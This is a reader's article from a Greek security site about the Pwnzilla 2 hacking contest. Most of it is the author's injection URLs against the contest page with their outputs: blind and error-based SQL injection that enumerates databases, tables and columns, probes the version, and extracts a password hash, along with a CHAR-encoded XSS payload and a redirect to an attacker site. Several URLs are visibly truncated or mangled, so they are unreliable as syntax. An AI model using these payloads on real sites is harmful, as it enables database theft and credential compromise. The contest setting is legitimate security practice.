Iguru.gr: Reader's article about Pwnzilla 2

After the successful completion of the Pwnzilla 2 , I would like to give my opinion and also give my own solutions. Contests keep you alert and in a short period of time you can learn a lot due to the time pressure.

In my case, within a few days I learned enough about "Blind SQL injection" but also to create a small python script for a dictionary password attack on the ROOT user [ Maybe I was lucky 🙂 ].

The page not only contained SQL injection but also XSS, as you will see below in the tests I conducted.

The method of attack is no different from the method used by hackers. The concept of pentesting is this

First of all, I would like to congratulate the winner of the Pwnzilla 2 George Spanos , but also the organizers who should test us more often.

In my opinion, large Greek websites should be tested before hosting personal user data, as was done in the Pwnzilla 2 Challenge

The level of the competition was quite high because the administrators were very knowledgeable about SQL Injection attacks. Their filters blocked many keywords (e.g. LOAD_FILE,INTO etc.)

-Someone might wonder why they should read and learn SQL injection and Blind Injection when sqlmap exists?

• What if SQL Map fails? You should be able to either build your own tool or try to find the problems manually. Of course, the choice is yours, but I used the manual way so I could learn as much as possible.

Let's look at some of my solutions together

 

Of course, before I reached the desired result, I tried the following without success:

1)Shellshock 

2)HTTP split

3)Header attack (Cookie, User-Agent, Host)

//Database Name L02DB

https://pwnzilla.secnews.gr/pz2.php?id=`id` < (select db())0509

//SELECT command denied to user “n3wdb0wn3r2'@'localhost” for table “user”

https://pwnzilla.secnews.gr/pz2.php?id=`id` < (select concat_ws(0x3a,user,password) from mysql.user)0509

//Duplicate column name “5.5.43-0+deb7u1′

https://pwnzilla.secnews.gr/pz2.php?id=`id` const(version(),1))a)0509

//Return more than one row

https://pwnzilla.secnews.gr/pz2.php?id=`id` 0509

//HTML injection – Frontend Attack

https://pwnzilla.secnews.gr/pz2.php?id=`id` < (if(3>1,`

//HTTP Response MITM attack

In the following attack, if the url is changed, the user can be redirected to the hacker's site or download a malicious program from FTP.

Edit Response

<meta http-equiv=»refresh» content=»0; url=<Attacker Site or FTP> » />

//databases (Total=2)

https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if((SELECT count(*) FROM information_schema.schemata) > 2,1,2))0511

//tables (Total=41)

https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if((SELECT count(*) FROM information_schema.tables) > 41,1,2))0511

//database version 5.5.43

https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,1,1)>4,1,2))0511

https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,3,1)>4,1,2))0511

https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,5,1)>3,1,2))0511

https://pwnzilla.secnews.gr/pz2.php?id=`id` <(if(mid(@@version,6,1)>2,1,2))0511

//Data dir XPATH syntax error: “/var/lib/mysql/”

https://pwnzilla.secnews.gr/pz2.php?id=`id` select @@datadir))))),3))0513

//XPATH syntax error: “e85dd3-f97b-11e4-bf21-406186cbf1“ UUID [Web Server MAC Address]

https://pwnzilla.secnews.gr/pz2.php?id=`id` uuid()))))),3))0513

//XSS Attack

https://pwnzilla.secnews.gr/pz2.php?id=`id` select concat_ws(char(95),CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 39, 88, 83, 83, 39, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62),@@hostname)))))),3))0514

//Password 23b59b78056e436fbfaeeb63ed03a443 MD5 hash >>> pwner

https://pwnzilla.secnews.gr/pz2.php?id=`id` select group_concat(concat_ws(0x3a,substr(password,1,10),password)) from users))))),3))0518

//Column_name [offset 480-483]

Here I played a little with the offset

https://pwnzilla.secnews.gr/pz2.php?id=`id` select group_concat(concat_ws(0x3a,substr(password,1,2),(SELECT concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 1 offset 480))) from users))))),3))0518

XPATH syntax error: “:L02DB:pages:id”

XPATH syntax error: “:L02DB:Pages:Title”

XPATH syntax error: “:L02DB:pages:Content”

XPATH syntax error: “:L02DB:pages:Author”

//Column_name [offset 484-486]

XPATH syntax error: “:L02DB:users:id”

XPATH syntax error: “:L02DB:users:username”

XPATH syntax error: “:L02DB:users:password”

Information about Advanced SQL Injection can be read here:

https://websec.wordpress.com/tag/sql-filter-bypass/

Python Script

Now regarding the python script you can download it from here. It is something very simple that I am already improving by adapting it to object-oriented. Create a wordlist, open the program with a notepad at the "Open File" point, correct the Path. See in wireshark what happens when you run the script.

Run -> ./mysql_pass.py

Inquiry

How could you use Metasploit or Hydra to perform such an attack directly on MYSQL? You can respond in the comments if you want.